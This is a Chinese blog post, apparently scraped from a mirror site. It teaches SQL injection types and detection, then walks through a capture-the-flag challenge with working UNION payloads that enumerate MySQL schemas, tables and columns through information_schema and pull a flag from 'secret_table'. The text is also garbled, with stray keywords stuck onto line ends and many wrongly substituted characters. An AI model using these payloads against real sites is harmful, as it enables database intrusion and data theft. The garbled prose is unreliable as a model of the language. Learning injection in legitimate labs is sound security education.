1. 首先要了解SQL注入的原理:php
SQL Injection:就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。sql
具體來講,它是利用現有應用程序,將(惡意的)SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。好比先前的不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.(來源於百度)數據庫
也就是說網站頁面包含與數據庫交互的部分(例如新聞網站的查找功能),而當在網站輸入數據信息,數據信息被程序化後傳入數據庫執行的過程當中,網站的開發人員沒有對這些傳入數據庫的相應數據作安全處理(好比過濾特殊字符、編碼等),致使黑客能夠將惡意代碼(也就是包含非法SQL語句的SQL命令)經過網站前段傳入數據庫,並在數據庫中執行這些具備黑客目的的SQL語句,從而形成數據庫信息泄露、損壞等後果。後端
2. SQL注入的通常分類安全
按照注入點類型來分類服務器
(1)數字型注入點cookie
許多網頁連接有相似的結構 http://www.example.com/12.php?id=1 基於此種形式的注入,通常被叫作數字型注入點,原因是其注入點 id 類型爲數字,在大多數的網頁中,諸如 查看用戶我的信息,查看文章等,大都會使用這種形式的結構傳遞id等信息,交給後端,查詢出數據庫中對應的信息,返回給前臺。這一類的 SQL 語句原型大概爲 select * from 表名 where id=1 若存在注入,咱們能夠構造出相似與以下的sql注入語句進行爆破:select * from 表名 where id=1 and 1=1學習
(2)字符型注入點測試
網頁連接有相似的結構 http://xwww.example.com/users.php?user=admin 這種形式,其注入點 user 類型爲字符類型,因此叫字符型注入點。這一類的 SQL 語句原型大概爲 select * from 表名 where user='admin' 值得注意的是這裏相比於數字型注入類型的sql語句原型多了引號,能夠是單引號或者是雙引號。若存在注入,咱們能夠構造出相似與以下的sql注入語句進行爆破:select * from 表名 where user='admin' and 1=1 ' 咱們須要將這些煩人的引號給處理掉。網站
(3)搜索型注入點
這是一類特殊的注入類型。這類注入主要是指在進行數據搜索時沒過濾搜索參數,通常在連接地址中有 "keyword=關鍵字" 有的不顯示在的連接地址裏面,而是直接經過搜索框表單提交。此類注入點提交的 SQL 語句,其原形大體爲:select * from 表名 where 字段 like '%關鍵字%' 若存在注入,咱們能夠構造出相似與以下的sql注入語句進行爆破:select * from 表名 where 字段 like '%測試%' and '%1%'='%1%'
3. 如何判斷是否存在SQL注入(小白總結,僅供參考)
簡單點講就是:
全部的輸入只要和數據庫進行交互的,都有可能觸發SQL
注入
SQL注入按照數據提交的方式可分爲:
(1)GET 注入:提交數據的方式是 GET , 注入點的位置在 GET 參數部分。好比有這樣的一個連接http://xxx.com/news.php?id=1 , id 是注入點。
(2)POST 注入:使用 POST 方式提交數據,注入點位置在 POST 數據部分,常發生在表單中。
(3)Cookie 注入:HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個字段中。
(4)HTTP 頭部注入:注入點在 HTTP 請求頭部的某個字段中。好比存在 User-Agent 字段中。嚴格講的話,Cookie 其實應該也是算頭部注入的一種形式。由於在 HTTP 請求的時候,Cookie 是頭部的一個字段。
根據提交方式分類後,你會發現SQL注入最長髮生的位置在連接地址、數據參數、cookie信息以及HTTP請求頭等位置。
瞭解了可能存在SQL注入的位置,而後咱們須要判斷在這些位置上是否可以觸發SQL注入,最簡單的方式就是在相應位置輸入and 1=1 (以及and 1=1 的變換形式)來判斷。對於不一樣的注入點類型,好比字符型須要適當添加單引號,而對於數字型的注入點則不須要。
4. SQL注入的高級分類(按照執行效果分類)
(1)基於布爾的盲注:便可以根據返回頁面判斷條件真假的注入。
(2)基於時間的盲注:即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷。
(3)基於報錯注入:即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
(4)聯合查詢注入:可使用union的狀況下的注入。
(5)堆查詢注入:能夠同時執行多條語句的注入。
(6)寬字節注入:利用gbk是多字節的編碼,兩個字節表明一個漢字
5. 進入正題
實例連接:http://111.198.29.45:57639/(本文僅供開發人員學習參考)
(1)根據以上知識判斷,在搜索框中輸入and 1=1(或or 1=1等)的一些變換形式不斷嘗試,最後發現輸入' and 1=1 #返回頁面正常,所以初步判斷網站存在基於報錯的搜索型注入點,
(2)而後開始進行手工注入
a. 暴字段長度:命令 ' order by 3 # 頁面返回正常,命令 ' order by 4 # 報錯,所以判斷字段長度爲3。
b. 匹配字段:命令 ' select 1,2,3 #沒法執行,輸入命令 ' and 1=1 union select 1,2,3 # 頁面以及字段信息正常回顯(所以該注入支持union聯合查詢注入)
暴字段位置:命令 ' and 1=2 union select 1,2,3 # 。頁面返回2,3
c. 暴庫,命令(MySQL暴庫命令) ' and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA # 。根據頁面返回信息可知網站使用MYSQL數據庫,且網站的數據庫爲news。
命令解析:SCHEMA_NAME當前數據庫名
information_schema(數據詞典)是MySQL自帶的數據庫,它提供了訪問數據庫元數據的方式(元數據是關於數據的數據,如數據庫名或表名,列的數據類型,或訪問權限等)。
SCHEMATA(information_schema中的一個表):提供了當前MySQL實例中全部數據庫的信息。show databases的結果取之此表。
d. 猜表,命令 ' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'news' # 。能夠看到有news和secret_table兩個表。
命令解析:TABLE_NAME 當前表名
TABLES(information_schema中的一個表)提供了關於數據庫中的表的信息(包括視圖)。詳細表述了某個表屬於哪一個schema,表類型,表引擎,建立時間等信息。是show tables from schemaname的結果取之此表。
e. 猜字段,命令 ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'news' #
''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'secret_table' #
輸入兩個命令後發現表二中有 fl4g 字段
f. 暴密碼(flag),命令 ' and 1=2 union select 1,2,fl4g from secret_table # 。獲得flag,SQL注入完成
本文主要是學習,望各位大佬多多提意見!Thank You !